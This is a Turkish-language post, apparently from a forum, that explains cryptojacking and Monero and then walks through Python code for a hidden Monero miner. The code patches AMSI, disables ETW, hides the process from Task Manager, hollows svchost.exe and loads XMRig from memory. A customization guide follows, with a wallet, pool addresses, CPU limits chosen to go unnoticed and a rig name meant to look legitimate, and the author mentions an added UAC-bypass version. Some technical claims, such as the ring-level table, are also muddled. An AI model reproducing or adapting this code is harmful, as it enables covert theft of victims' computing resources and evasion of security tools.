Mining Virüsü Nedir?
Mining virüsü (Cryptojacking), kurbanın bilgisayar kaynaklarını izinsiz kullanarak kripto para madenciliği yapan zararlı yazılımdır.Nasıl Çalışır?
1. BULAŞMA├─ E-posta eki
├─ Korsan yazılım
├─ Sahte güncelleme
└─ Exploit kitler
2. SAKLanMA
├─ Sistem dosyaları arasında gizlenme
├─ Meşru process'lere enjekte olma
└─ Antivirüslerden kaçma
3. MADENCİLİK
├─ CPU/GPU gücünü kullanma
├─ Madencilik havuzuna bağlanma
└─ Kazanılan coin'leri toplama
4. GİZLENME
├─ CPU kullanımını sınırlama
├─ Görev yöneticisinden saklanma
└─ Sistem loglarını temizleme
Tespit Belirtileri:
Bilgisayarın aşırı ısınması
Sistemin yavaşlaması
Fan seslerinin artması
Elektrik faturasının yükselmesi
Monero Nedir?
Monero (XMR) 2014'te oluşturulmuş, anonimlik odaklı bir kripto para birimidir.Monero'nun Özellikleri:
| Özellik | Detay |
|---|---|
| Ring Signatures | İşlemler karıştırılır, kimin gönderdiği belli olmaz |
| Stealth Addresses | Her işlem için tek kullanımlık adres |
| RingCT | İşlem miktarları gizlenir |
| RandomX | ASIC dirençli, CPU ile madenciliğe uygun |
Neden Madenciler Tercih Eder?
- Gizlilik: İzlenemez işlemler
- Erişilebilirlik: Herkes CPU ile kazabilir
- Değer: Piyasada değerli bir coin
Madencilik Nasıl Yapılır?
1. Monero cüzdanı oluştur
2. Bir havuza (pool) katıl
3. XMRig gibi bir yazılım çalıştır
4. CPU gücünle blokları çöz
5. Ödülü havuzdan al
Kodun Teknik Analizi
Genel Mimari
pythonKOD YAPISI
│
├── Güvenlik Atlatmaları
│ ├── AMSI Bypass
│ └── ETW Devre Dışı
│
├── Gizlenme Mekanizmaları
│ ├── Process Hiding
│ └── CPU Throttle
│
├── XMRig Yükleme
│ ├── RAM'e İndirme
│ ├── ZIP'ten Çıkarma
│ └── Process Hollowing
│
└── Madencilik Başlatma
├── Konfigürasyon
└── Çalıştırma
Detaylı Analiz
1. AMSI Bypass (Güvenlik Duvarını Aşma)
pythondef amsi_patch():
"""AmsiScanBuffer'ı devre dışı bırak"""
amsi = ctypes.windll.amsi
patch = b"\xB8\x57\x00\x07\x80\xC3" # Assembly kodu
ptr = ctypes.c_void_p(amsi.AmsiScanBuffer)
ctypes.memmove(ptr, patch, len(patch))
Ne Yapar?
- Windows'un AMSI (Anti-Malware Scan Interface) güvenlik katmanını devre dışı bırakır
- mov eax, 0x80070057 → Her zaman hata döndürür
- ret → Fonksiyonu sonlandırır
2. ETW Devre Dışı (Logları Susturma)
def disable_etw():
NtSetInformationProcess = ntdll.NtSetInformationProcess
flags = ctypes.c_uint32(0x00) # Loglama kapat
status = NtSetInformationProcess(
ctypes.c_void_p(-1), # Mevcut process
0x1F, # ProcessTraceFlags
ctypes.byref(flags),
ctypes.sizeof(flags)
)
Ne Yapar?
- Windows Event Tracing (ETW) kapatılır
- Sistem olay loglarına yazım engellenir
3. Process Hiding (Gizlenme)
def hide_process_from_taskmgr(self):
NtSetInformationProcess = ntdll.NtSetInformationProcess
flag = ctypes.c_uint32(0x01) # Gizleme flag'i
NtSetInformationProcess(
ctypes.c_void_p(-1),
0x22, # Hide flag
ctypes.byref(flag),
ctypes.sizeof(flag)
)
Ne Yapar?
- NtSetInformationProcess ile process flag değiştirilir
- 0x22 değeri process'i Task Manager'dan gizler
4. Process Hollowing (Enjeksiyon)
def hollow_and_run(cls, payload_path=None):
target_exe = "C:\\Windows\\System32\\svchost.exe"
# Meşru EXE başlat
kernel32.CreateProcessW(target_exe, None, None, None, False,
0x00000004, None, None, startupinfo, process_info)
# Bu process'in içine XMRig yazılacak
return hProcess, hThread
Ne Yapar?
- Svchost.exe (meşru Windows process'i) başlatır
- Bu process'in hafızasını temizler
- XMRig'i bu hafızaya yazar
- Process'i çalıştırır
- Antivirüs meşru svchost.exe'yi inceler, içindeki XMRig'i görmez
- Process meşru gözükür
5. RAM'den Çalıştırma (Memory Loading)
@staticmethod
def download_xmrig():
# GitHub'dan zip dosyasını RAM'e indir
req = urllib.request.Request(XMRIG_URL)
with urllib.request.urlopen(req) as resp:
zip_data = resp.read() # RAM'de durur
return zip_data
@staticmethod
def extract_xmrig_from_zip(zip_data):
# ZIP'i RAM'de açar
zip_file = zipfile.ZipFile(io.BytesIO(zip_data))
for name in zip_file.namelist():
if "xmrig.exe" in name:
return zip_file.read(name) # XMRig EXE RAM'de
Ne Yapar?
- İndirilen dosya RAM'e alınır
- Disk'e asla yazılmaz
- Tüm işlemler bellek üzerinden yapılır
Adım Adım Çalışma Mantığı
Akış Diyagramı
[BAŞLANGIÇ]
│
▼
┌─────────────────────────────────────┐
│ 1. AMSI Bypass │
│ AmsiScanBuffer devre dışı │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 2. ETW Kapatma │
│ Sistem loglaması durdurulur │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 3. Process Gizleme │
│ TaskManager'dan saklanır │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 4. XMRig İndirme │
│ GitHub'dan RAM'e indirilir │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 5. RAM'den Çıkarma │
│ ZIP açılır, EXE RAM'e alınır │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 6. Process Hollowing │
│ Svchost.exe içine enjekte et │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 7. Madenciliği Başlat │
│ Config ile pool'a bağlan │
└─────────────────────────────────────┘
Ring Katman Geçişleri
Kod, Windows'ta farklı halka (ring) seviyeleri arasında geçiş yapar:# Ring 3 (Kullanıcı Modu)
amsi = ctypes.windll.amsi # Normal uygulama çağrısı
# Ring 0 (Kernel Modu) - System Call ile
NtSetInformationProcess = ntdll.NtSetInformationProcess
# Bu direkt kernel çağrısı, yüksek yetki ister
| Katman | Ne Yapar | Neden |
|---|---|---|
| Ring 3 | AMSI patch, ETW devre dışı | Kullanıcı modunda basit işlemler |
| Ring 0 | Process hiding, hollowing | Kernel seviyesinde derin müdahale |
| System Call | NtSetInformationProcess | Windows API çağrıları ile kernel'e erişim |
Özelleştirme Rehberi
1. Cüzdan Değiştirme
MONERO_WALLET = "46LAfeHytu4B9j6keoaJeTSwH2PjpDBTBUnj7s8x2wG3SmLbjAiiZ4XAfkWYHC17qM19dw5ANQ9MLLbnh4WZ86mQNSRrcrh"
# Cüzdan oluştur: https://www.mymonero.com/
# Veya Monero GUI ile oluştur
2. Havuz Değiştirme
# Farklı havuz seçenekleri
POOL_URLS = {
"MineXMR": "pool.minexmr.com:4444",
"SupportXMR": "pool.supportxmr.com:3333",
"XMRPool": "xmrpool.eu:5555",
"HeroMiners": "monero.herominers.com:10128"
}
POOL_URL = POOL_URLS["SupportXMR"] # İstediğini seç
3. CPU Kullanımı Ayarı
# CPU kullanım limitleri
"max-threads-hint": 15, # %15 CPU
hider = ResourceHider(max_cpu_percent=8) # %8 CPU limiti
# Düşük: 5-10 (fark edilmez)
# Orta: 15-25 (biraz yavaşlatır)
# Yüksek: 30-50 (belirgin yavaşlama)
4. XMRig Versiyonu
# En son sürüm: https://github.com/xmrig/xmrig/releases
XMRIG_URL = "https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-msvc-win64.zip"
5. Rig İsmi
# Havuz panelinde görünecek isim
RIG_NAME = "WinSvcHost" # Meşru gibi görün
# Veya belirsiz bir isim:
RIG_NAME = "PC-CORP-001"
Tespit Edilme Riskleri
Modern Güvenlik Sistemleri Tespit Edebilir:- Endpoint Detection & Response (EDR)
- Process Hollowing tespiti
- Anomalik davranış analizi
- PE loading
- Next-Gen Antivirüs
- Davranışsal analiz
- Anomali tespiti
- Ağ Güvenliği
- Havuz bağlantılarını tespiti
- Anormal trafik analizi
Sistem Etkileri
- CPU: %8-15 kullanım → Isınma ve yavaşlama
- Güç: Dizüstü pil ömrü azalır
- Performans: Diğer uygulamalar yavaşlar
- Ömür: Uzun süreli kullanım donanıma zarar verebilir
size son olaraktan dahada geliştirdiğim uacbypass antidebug falnfilan ı olan koduda yanına ekleyedim